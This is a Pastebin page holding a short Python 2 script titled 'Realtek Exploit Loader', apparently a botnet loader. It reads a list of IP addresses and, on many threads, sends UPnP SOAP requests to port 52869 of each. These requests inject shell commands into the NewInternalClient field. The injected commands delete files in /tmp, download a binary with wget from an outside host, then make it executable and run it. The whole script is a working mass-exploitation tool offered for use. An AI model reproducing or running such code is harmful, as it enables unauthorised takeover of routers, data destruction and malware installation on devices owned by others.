Advertisement
mysql_Anarchy

[ PYTHON ] Realtek Exploit | SIMPLE

Jun 3rd, 2018
986
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.73 KB | None | 0 0
  1. #Modified Realtek Exploit Loader Edited By mysql_Anarchy
  2. import threading, sys, time, random, socket, re, os, struct, array, requests
  3. ips = open(sys.argv[1], "r").readlines()
  4. binloc = "http://192.168.1.2/REALTEK"
  5. rm = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  6. wget = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; wget "+binloc+"`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  7. execute = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; chmod 777 REALTEK; ./REALTEK realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  8. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  9.  
  10. class rtek(threading.Thread):
  11.         def __init__ (self, ip):
  12.             threading.Thread.__init__(self)
  13.             self.ip = str(ip).rstrip('\n')
  14.         def run(self):
  15.             try:
  16.                 url = "http://" + self.ip + ":52869/picsdesc.xml"
  17.                 requests.post(url, timeout=1, headers=headerlist, data=rm)
  18.                 requests.post(url, timeout=5, headers=headerlist, data=wget)
  19.                 requests.post(url, timeout=3, headers=headerlist, data=execute)
  20.                 print "[ REALTEK ] [ KETASHI ] --> " + self.ip
  21.             except Exception as e:
  22.                 pass
  23.  
  24. for ip in ips:
  25.     try:
  26.         n = rtek(ip)
  27.         n.start()
  28.         time.sleep(0.02)
  29.     except:
  30.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement